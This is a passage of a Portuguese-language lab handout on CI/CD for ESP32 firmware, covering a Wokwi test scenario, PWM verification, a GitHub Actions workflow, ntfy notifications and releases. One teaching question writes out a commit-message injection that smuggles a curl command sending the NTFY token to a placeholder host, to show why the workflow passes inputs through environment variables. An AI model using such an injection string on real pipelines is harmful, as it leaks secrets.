# ---------------------------------------------------------- modo pot (dimmer)
- name: Potenciômetro no meio
set-control:
part-id: pot1
control: position
value: 0.5
- name: Os dois canais vão a 50 %
wait-serial: '"modo":"pot","estado":"MANUAL","aq":50,"ve":50,"aq_duty":128,"ve_duty":128'
- name: Deixa o PWM rodar (o verificar_pwm.py mede 5 Hz e 25 kHz a 50 % aqui)
delay: 1500ms

- name: Potenciômetro no zero
set-control:
part-id: pot1
control: position
value: 0
- name: Tudo desligado
wait-serial: '"aq":0,"ve":0,"aq_duty":0,"ve_duty":0'
- name: Pino do aquecedor em nível baixo
expect-pin:
part-id: esp
pin: "25"
value: 0

# ---------------------------------------------------------- modo auto (Lab 07, T6)
- name: DHT22 a cada 2 s
write-serial: "intervalo 2\r\n"
- name: Setpoint 37,5 °C pelo potenciômetro
set-control:
part-id: pot1
control: position
value: 0.5
- name: Liga o modo auto (o DHT22 começa em 24,5 °C, atributo do diagram.json)
write-serial: "modo auto\r\n"
- name: Aquece
wait-serial: '"modo":"auto","estado":"AQUECENDO","aq":100,"ve":0'

- name: Passa de SP + 0,5
set-control:
part-id: dht1
control: temperature
value: 38.2
- name: Estável, aquecedor desligado
wait-serial: '"estado":"ESTAVEL","aq":0,"ve":0'

- name: Bem acima do setpoint
set-control:
part-id: dht1
control: temperature
value: 41
- name: Ventilador proporcional (41 - 38,5) x 25 = 63 %
wait-serial: '"estado":"RESFRIANDO","aq":0,"ve":63,"aq_duty":0,"ve_duty":161'

- name: Comando inválido não derruba o firmware
write-serial: "modo turbo\r\n"
- name: Resposta de erro
wait-serial: "modo invalido"

O wait-serial só olha o que chega depois do passo anterior. Por isso o potenciômetro começa em 0: se começasse no meio, o [PWM] de 50 % sairia no setup(), antes do [BOOT] pronto, e o passo "Os dois canais vão a 50 %" esperaria para sempre.

Com --vcd-file, o wokwi-cli grava o analisador lógico (D0 = GPIO25, D1 = GPIO26) num arquivo VCD, o mesmo formato que o PulseView abre. O ci/verificar_pwm.py (pronto, só biblioteca padrão) procura em cada canal um trecho com a frequência e o duty esperados:

Compilar cenário CI (cmd)
pio run -e ci
Rodar a simulação (cmd)
wokwi-cli --elf .pio/build/ci/firmware.elf --scenario ci/cenario_integracao.yaml --timeout 90000 --vcd-file pwm.vcd --serial-log-file serial-cenario.txt . > evidencias\t4-cenario.txt 2>&1
Verificar PWM (cmd)
py ci\verificar_pwm.py pwm.vcd --listar > evidencias\t4-pwm.txt 2>&1
Evidências (cmd)
type evidencias\t4-cenario.txt
type evidencias\t4-pwm.txt
evidencias/t4-cenario.txt (trecho)
[Camara - modos pot e auto] Executing step: Os dois canais vão a 50 %
[ADC] {"raw":2048,"mv":1550,"sp":37.5}
[PWM] {"modo":"pot","estado":"MANUAL","aq":50,"ve":50,"aq_duty":128,"ve_duty":128,"sp":37.5,"t":null}
[Camara - modos pot e auto] Expected text matched: "..."
...
[PWM] {"modo":"auto","estado":"RESFRIANDO","aq":0,"ve":63,"aq_duty":0,"ve_duty":161,"sp":37.5,"t":41.0}
[Camara - modos pot e auto] Scenario completed successfully
evidencias/t4-pwm.txt (formato)
pwm.vcd: sinais D0, D1
D0/D0: 7 períodos 5.00 Hz duty 50.0 %
ok D0 (aquecedor GPIO25): 5.00 Hz, duty 50.0 % em 7 períodos
D1/D1: 37500 períodos 25000.00 Hz duty 50.0 %
ok D1 (ventilador GPIO26): 25000.00 Hz, duty 50.0 % em 37500 períodos
Preveja antes de rodar

P3: por que o cenário confere o pino 25 com expect-pin só quando o aquecedor está em 0 %, e não em 100 %? (Dica: com 8 bits, qual é o duty máximo, 255/255 ou 255/256? Em quantos microssegundos por período o pino fica em 0 a 5 Hz?) Um teste que passa 99 vezes e falha 1 é chamado de instável (flaky). Por que ele é pior do que um teste que sempre falha?

📂 lab11-grupo-x/
  • ├── 📂ci
    • └── 🚀cenario_integracao.yaml👈 Verificar
  • └── 📂evidencias
    • ├── 📄t4-cenario.txt👈 Criar Aqui
    • └── 📄t4-pwm.txt👈 Criar Aqui
git conferir ci/cenario_integracao.yaml evidencias/t4-cenario.txt evidencias/t4-pwm.txt
Ponto de commit · T4 (20 pts) #

Cenário de integração e analisador lógico

1. Conferir os arquivos
git conferir ci/cenario_integracao.yaml evidencias/t4-cenario.txt evidencias/t4-pwm.txt
2. Commit T4 e push
git add ci/cenario_integracao.yaml evidencias/t4-cenario.txt evidencias/t4-pwm.txt && git commit -m "T4: Cenário de integração e analisador lógico" && git push
3. Conferir o commit e o envio
git status -sb && git log -1 --stat --oneline

Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T4.


Parte 5 — Pipeline no GitHub Actions​

5.1 Conceitos​

  • Workflow: um arquivo YAML em .github/workflows/. Diz quando roda (on:) e o quê (jobs:).
  • Job: roda numa máquina virtual nova (runs-on: ubuntu-latest). Jobs rodam em paralelo, a não ser que um dependa do outro (needs:).
  • Step: um comando (run:) ou uma ação pronta (uses:).
  • Artefato: arquivo que um job entrega para outro, ou para você baixar (upload-artifact/download-artifact).
  • Cache: guarda o ~/.platformio entre execuções. Sem ele, todo push baixa de novo o toolchain do ESP32, uns 300 MB.
  • Secret: valor sensível (token) que o workflow lê como ${{ secrets.NOME }}. O GitHub esconde o valor nos logs e não o entrega a PRs de forks.

5.2 Secrets e variáveis​

Em Settings ▸ Secrets and variables ▸ Actions:

TipoNomeValor
SecretWOKWI_CLI_TOKENo token do Wokwi CI
SecretNTFY_TOPIClab11-<letra>-ci (T6)
SecretNTFY_TOKENo token ntfy do grupo (tk_..., no ACESSO-LAB11.md)
VariableNTFY_URLhttps://iot.adrianoruseler.com/ntfy (T6)

5.3 O workflow​

📂 lab11-grupo-x/
  • └── 📂.github
    • └── 📂workflows
      • └── 🚀ci.yml👈 Criar Aqui
git conferir .github/workflows/ci.yml
.github/workflows/ci.yml (jobs testes, firmware e simulacao)
name: CI

on:
push:
branches: [main]
tags: ["v*"]
pull_request:
workflow_dispatch:

permissions:
contents: read

concurrency: # um push novo cancela a execução anterior do mesmo ramo
group: ci-${{ github.ref }}
cancel-in-progress: true

jobs:
testes:
name: Testes da lógica (pio test -e native)
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.x"
- name: Cache do PlatformIO
uses: actions/cache@v4
with:
path: |
~/.platformio
~/.cache/pip
key: pio-${{ runner.os }}-${{ hashFiles('platformio.ini') }}
- name: Instala o PlatformIO (a versão mais recente)
run: pip install --upgrade platformio
- name: Atualiza o que veio do cache
run: pio pkg update -e native
- name: Testes (Unity, no PC)
run: pio test -e native --junit-output-path relatorio-native.xml
- name: Resumo dos testes
if: always()
run: |
if [ -f relatorio-native.xml ]; then
python ci/resumo_junit.py relatorio-native.xml >> "$GITHUB_STEP_SUMMARY"
fi
- name: Instala o wokwi-cli
run: |
mkdir -p "$HOME/.local/bin"
curl -sSfL -o "$HOME/.local/bin/wokwi-cli" \
"https://github.com/wokwi/wokwi-cli/releases/latest/download/wokwi-cli-linuxstatic-x64"
chmod +x "$HOME/.local/bin/wokwi-cli"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
- name: Lint do diagram.json (não precisa de token)
run: wokwi-cli lint --warnings-as-errors .
- uses: actions/upload-artifact@v4
if: always()
with:
name: relatorio-testes
path: relatorio-native.xml
if-no-files-found: ignore

firmware:
name: Firmware (esp32dev, ci e testes para o alvo)
needs: testes
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.x"
- name: Cache do PlatformIO
uses: actions/cache@v4
with:
path: |
~/.platformio
~/.cache/pip
key: pio-esp32-${{ runner.os }}-${{ hashFiles('platformio.ini') }}
- name: Instala o PlatformIO (a versão mais recente)
run: pip install --upgrade platformio
- name: Atualiza a plataforma e as bibliotecas que vieram do cache
run: pio pkg update -e esp32dev -e ci
# os testes para o alvo usam a MESMA pasta .pio/build/esp32dev: compila um por vez e
# copia o .elf antes de compilar o próximo (e o firmware normal por último)
- name: Testes compilados para o ESP32
run: |
mkdir -p saida
for t in test_logica test_alvo; do
pio test -e esp32dev -f "$t" --without-uploading --without-testing
cp .pio/build/esp32dev/firmware.elf "saida/teste_${t}.elf"
done
- name: Firmware do CI (sem rede)
run: |
pio run -e ci
cp .pio/build/ci/firmware.elf saida/firmware_ci.elf
- name: Firmware normal
run: |
pio run -e esp32dev
cp .pio/build/esp32dev/firmware.bin .pio/build/esp32dev/firmware.elf saida/
cp .pio/build/esp32dev/bootloader.bin .pio/build/esp32dev/partitions.bin saida/
pio run -e esp32dev -t size | tail -n 3 >> "$GITHUB_STEP_SUMMARY"
- uses: actions/upload-artifact@v4
with:
name: firmware
path: saida/
retention-days: 14

simulacao:
name: Simulação no Wokwi (wokwi-cli)
needs: firmware
runs-on: ubuntu-latest
outputs:
simulou: ${{ steps.token.outputs.ok }}
env:
WOKWI_CLI_TOKEN: ${{ secrets.WOKWI_CLI_TOKEN }}
steps:
- name: Tem token do Wokwi?
id: token
run: |
if [ -n "$WOKWI_CLI_TOKEN" ]; then
echo "ok=true" >> "$GITHUB_OUTPUT"
else
echo "ok=false" >> "$GITHUB_OUTPUT"
echo "::warning::WOKWI_CLI_TOKEN não configurado (ou PR de fork): simulação pulada"
fi
- uses: actions/checkout@v4
if: steps.token.outputs.ok == 'true'
- uses: actions/download-artifact@v4
if: steps.token.outputs.ok == 'true'
with:
name: firmware
path: saida
- name: Instala o wokwi-cli
if: steps.token.outputs.ok == 'true'
run: |
mkdir -p "$HOME/.local/bin"
curl -sSfL -o "$HOME/.local/bin/wokwi-cli" \
"https://github.com/wokwi/wokwi-cli/releases/latest/download/wokwi-cli-linuxstatic-x64"
chmod +x "$HOME/.local/bin/wokwi-cli"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
- name: Testes Unity no ESP32 simulado
if: steps.token.outputs.ok == 'true'
run: |
for t in test_logica test_alvo; do
echo "::group::$t"
wokwi-cli --elf "saida/teste_${t}.elf" --timeout 30000 \
--expect-text "Tests 0 Failures" --fail-text ":FAIL" \
--serial-log-file "serial-${t}.txt" .
echo "::endgroup::"
done
- name: Cenário de integração + analisador lógico
if: steps.token.outputs.ok == 'true'
run: |
wokwi-cli --elf saida/firmware_ci.elf --scenario ci/cenario_integracao.yaml \
--timeout 90000 --vcd-file pwm.vcd --serial-log-file serial-cenario.txt .
- name: Frequência e duty do PWM (VCD)
if: steps.token.outputs.ok == 'true'
run: python3 ci/verificar_pwm.py pwm.vcd --listar
- uses: actions/upload-artifact@v4
if: always() && steps.token.outputs.ok == 'true'
with:
name: simulacao
path: |
serial-*.txt
pwm.vcd
if-no-files-found: ignore

# publicar e notificar: T6
  • Por que não a wokwi/wokwi-ci-action? Ela roda o simulador, mas não tem uma entrada para o --vcd-file. Chamando o wokwi-cli direto, os três usos (testes, cenário, VCD) ficam iguais aos do seu terminal.
  • O job simulacao não falha sem token: ele avisa (::warning::) e segue. Assim o CI de um PR de fork, que não recebe secrets, continua útil.

Faça o push, abra a aba Actions e acompanhe. Clique na execução para ver o resumo dos testes, os artefatos (firmware, VCD) e o tamanho do firmware. Ponha o badge no topo do README.md:

1. README.md (topo):

README.md
![CI](https://github.com/ELT85B-N21-2026-2/lab11-grupo-a/actions/workflows/ci.yml/badge.svg)

Evidências: evidencias/t5-actions.png (a execução com os jobs verdes, o resumo dos testes e os artefatos) e o link da execução no README.md.

📂 lab11-grupo-x/
  • ├── 📂.github
    • └── 📂workflows
      • └── 🚀ci.yml👈 Criar Aqui
  • ├── 📝README.md👈 Edite Aqui
  • └── 📂evidencias
    • └── 📄t5-actions.png👈 Criar Aqui
git conferir .github/workflows/ci.yml README.md evidencias/t5-actions.png
Ponto de commit · T5 (15 pts) #

Pipeline no GitHub Actions

1. Conferir os arquivos
git conferir .github/workflows/ci.yml README.md evidencias/t5-actions.png
2. Commit T5 e push
git add .github/workflows/ci.yml README.md evidencias/t5-actions.png && git commit -m "T5: Pipeline no GitHub Actions" && git push
3. Conferir o commit e o envio
git status -sb && git log -1 --stat --oneline

Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T5.


Projeto integrador — ntfy e release (CD)​

CI responde "o código está bom?". CD (continuous delivery) responde "então, entregue": numa tag v1.0.0, o pipeline cria uma release no GitHub com o firmware.bin pronto para gravar. E alguém precisa saber do resultado sem ficar olhando a aba Actions: o ntfy manda uma notificação para o celular.

O ntfy do LAB IoT​

O laboratório tem um ntfy próprio, o mesmo do portal, com uma conta por grupo. Cada grupo só lê e publica nos tópicos lab11-<letra> e lab11-<letra>-*; os outros grupos não veem as suas notificações, e quem não tem login não vê nada.

ParaValor
Servidor (app, NTFY_URL)https://iot.adrianoruseler.com/ntfy
Login no appusuário lab11-<letra> e a senha do grupo
Tópico do CI (NTFY_TOPIC)lab11-<letra>-ci (ex.: lab11-x-ci)
Token (NTFY_TOKEN)o token ntfy do grupo (tk_...)
Ler e publicar no navegadoriot.adrianoruseler.com/avisos/

A senha e o token estão no ACESSO-LAB11.md do repositório do grupo. Copie-os para os Secrets (5.2), e nunca para o ci.yml, o README.md ou uma evidência: o token publica em nome do grupo. Se um vazar, avise o professor, que gera outro.

No app (Android/iOS): ⚙ → Usuários → adicionar o servidor acima com o login do grupo; depois + → assinar o tópico lab11-<letra>-ci nesse servidor (não no ntfy.sh).

O servidor do laboratório precisa estar ligado

O GitHub Actions chega ao ntfy pelo endereço público, que passa pelo servidor do laboratório. Com o laboratório desligado, a notificação se perde (o passo tem continue-on-error: o CI não fica vermelho por isso). Faça o experimento abaixo durante a aula.

Requisitos​

  1. Job publicar: roda só em tags v*, depois de firmware e simulacao, e cria a release com o firmware. É o único job com permissão de escrita:

    .github/workflows/ci.yml (job publicar)
    publicar:
    name: Release com o firmware
    needs: [firmware, simulacao]
    if: startsWith(github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    permissions:
    contents: write # criar a release precisa de escrita
    steps:
    - uses: actions/download-artifact@v4
    with:
    name: firmware
    path: saida
    - uses: softprops/action-gh-release@v2
    with:
    files: |
    saida/firmware.bin
    saida/bootloader.bin
    saida/partitions.bin
    saida/firmware.elf
    generate_release_notes: true
  2. Job notificar: roda sempre (if: always()), depois de todos, monta o resumo e chama o ci/notificar.sh (pronto no repositório: título, prioridade e etiquetas conforme o resultado, toque abre a execução no GitHub, botão "Abrir no GitHub").

    .github/workflows/ci.yml (job notificar)
    notificar:
    name: Notificação (ntfy)
    needs: [testes, firmware, simulacao, publicar]
    if: always()
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    with:
    sparse-checkout: ci
    - name: Publica no ntfy
    continue-on-error: true # o ntfy fora do ar não deve pintar o CI de vermelho
    env:
    NTFY_URL: ${{ vars.NTFY_URL }}
    NTFY_TOPIC: ${{ secrets.NTFY_TOPIC }}
    NTFY_TOKEN: ${{ secrets.NTFY_TOKEN }}
    RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
    # tudo o que vem do usuário (mensagem do commit, nome do ramo) entra por variável de
    # ambiente, NUNCA direto dentro do "run:" (evita injeção de comandos)
    COMMIT_MSG: ${{ github.event.head_commit.message || github.event.pull_request.title }}
    REF_NAME: ${{ github.ref_name }}
    REPO: ${{ github.repository }}
    SHA: ${{ github.sha }}
    ATOR: ${{ github.actor }}
    R_TESTES: ${{ needs.testes.result }}
    R_FIRMWARE: ${{ needs.firmware.result }}
    R_SIM: ${{ needs.simulacao.result }}
    SIMULOU: ${{ needs.simulacao.outputs.simulou }}
    R_PUBLICAR: ${{ needs.publicar.result }}
    run: |
    resultado=success
    for r in "$R_TESTES" "$R_FIRMWARE" "$R_SIM" "$R_PUBLICAR"; do
    [ "$r" = cancelled ] && resultado=cancelled
    done
    for r in "$R_TESTES" "$R_FIRMWARE" "$R_SIM" "$R_PUBLICAR"; do
    [ "$r" = failure ] && resultado=failure
    done
    sim="$R_SIM"
    [ "$R_SIM" = success ] && [ "$SIMULOU" != true ] && sim="pulada (sem token)"

    case "$resultado" in
    success)
    if [ "$R_PUBLICAR" = success ]; then
    resultado=release
    titulo="🚀 ${REPO##*/} ${REF_NAME} publicado"
    else
    titulo="✅ ${REPO##*/}: CI ok em ${REF_NAME}"
    fi ;;
    failure) titulo="❌ ${REPO##*/}: CI falhou em ${REF_NAME}" ;;
    *) titulo="⚠️ ${REPO##*/}: CI ${resultado} em ${REF_NAME}" ;;
    esac
    # shellcheck disable=SC2016 # as crases são Markdown, não substituição de comando
    mensagem="$(printf '**testes:** %s · **firmware:** %s · **simulação:** %s · **release:** %s\r\n`%s` por %s: %s' \
    "$R_TESTES" "$R_FIRMWARE" "$sim" "$R_PUBLICAR" "${SHA:0:7}" "$ATOR" "${COMMIT_MSG%%$'\r\n'*}")"
    bash ci/notificar.sh "$resultado" "$titulo" "$mensagem"

    Antes do CI, teste o script no seu terminal (Git Bash, ou WSL, no Windows), com o app já assinando o tópico. O token fica só no terminal, não em arquivo:

    Git Bash
    read -rsp "Token ntfy do grupo: " NTFY_TOKEN; echo; export NTFY_TOKEN
    NTFY_URL=https://iot.adrianoruseler.com/ntfy NTFY_TOPIC=lab11-x-ci \
    bash ci/notificar.sh success "teste do grupo X" "olá do terminal"
    Saída esperada
    ntfy: 'teste do grupo X' publicado em https://iot.adrianoruseler.com/ntfy/lab11-x-ci (success)

    Troque x pela letra do grupo. Um 403 quer dizer tópico de outro grupo (ou token errado); um 502, o servidor do laboratório desligado.

  3. Experimento (cada passo gera uma notificação)

    1. Vermelho de propósito: num ramo quebra, mude o HISTERESE para 0.0f e abra um pull request. O test_auto_sequencia_do_lab07 falha no passo de 37,2 °C (sem histerese, a câmara religa abaixo do SP), a execução fica vermelha e chega "❌ ... CI falhou" com prioridade alta. Se a sua sequência não tiver um passo entre SP − 0,5 e SP com o aquecedor desligado, nenhum teste falha: acrescente um.

    2. Verde: feche o PR sem juntar (ou desfaça a mudança). No main, chega "✅ ... CI ok".

    3. Release: crie e envie a tag:

      Terminal (cmd)
      git tag -a v1.0.0 -m "Lab 11: firmware testado"
      git push origin v1.0.0

      Chega "🚀 ... v1.0.0 publicado", e a página Releases do repositório mostra o firmware.bin para baixar.

  4. Evidências

    • evidencias/t6-ntfy.png: as três notificações (falha, sucesso e release) no app ou no navegador;
    • evidencias/t6-release.png: a página da release com os arquivos;
    • no README.md, os links da execução vermelha, da verde e da release;
    • o ci.yml completo.
Exemplo das notificações (ntfy)
🚀 lab11-grupo-x v1.0.0 publicado prioridade alta
testes: success · firmware: success · simulação: success · release: success
0123456 por aluno-a: Lab 11: firmware testado

✅ lab11-grupo-x: CI ok em main
testes: success · firmware: success · simulação: success · release: skipped

❌ lab11-grupo-x: CI falhou em quebra prioridade alta
testes: failure · firmware: skipped · simulação: skipped · release: skipped
Preveja antes de rodar

P4: (a) um colega faz um fork do repositório do grupo e abre um PR. Quais jobs rodam? Chega notificação? Por quê? (b) Por que a mensagem do commit entra no run: pela variável COMMIT_MSG, e não escrita como ${{ github.event.head_commit.message }} dentro do script? Imagine um commit com a mensagem x"; curl https://exemplo.invalid/?t=$NTFY_TOKEN; echo ". (c) No ntfy do LAB IoT, quem pode ler e quem pode publicar em lab11-x-ci? E se o grupo usasse o ntfy.sh público, sem login, com o mesmo nome de tópico?

📂 lab11-grupo-x/
  • ├── 📂.github
    • └── 📂workflows
      • └── 🚀ci.yml👈 Edite Aqui
  • ├── 📝README.md👈 Edite Aqui
  • └── 📂evidencias
    • ├── 📄t6-ntfy.png👈 Criar Aqui
    • └── 📄t6-release.png👈 Criar Aqui
git conferir .github/workflows/ci.yml README.md evidencias/t6-ntfy.png evidencias/t6-release.png
Ponto de commit · T6 (20 pts) #

ntfy e release (CD)

1. Conferir os arquivos
git conferir .github/workflows/ci.yml README.md evidencias/t6-ntfy.png evidencias/t6-release.png
2. Commit T6 e push
git add .github/workflows/ci.yml README.md evidencias/t6-ntfy.png evidencias/t6-release.png && git commit -m "T6: ntfy e release (CD)" && git push
3. Conferir o commit e o envio
git status -sb && git log -1 --stat --oneline

Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T6.


Logout do seu ambiente dev, git e gh​

Ao terminar — máquina de laboratório

Antes de sair, faça logout para não deixar sua conta do GitHub ativa nesta máquina. Rode os comandos abaixo no Prompt de Comando (cmd), não no PowerShell.

1. Apague a credencial do GitHub salva pelo git, encerre a sessão do gh e remova seu nome e e-mail da configuração global:

(echo protocol=https&echo host=github.com) | git credential reject
gh auth logout --hostname github.com
git config --global --unset user.name
git config --global --unset user.email

Para conferir, este comando não deve mostrar nada:

cmdkey /list | findstr /i github

2. Pare os containers do lab:

for /f "delims=" %i in ('docker compose ls -q') do docker compose -p %i down

3. No navegador, saia da sua conta em github.com e feche todas as janelas.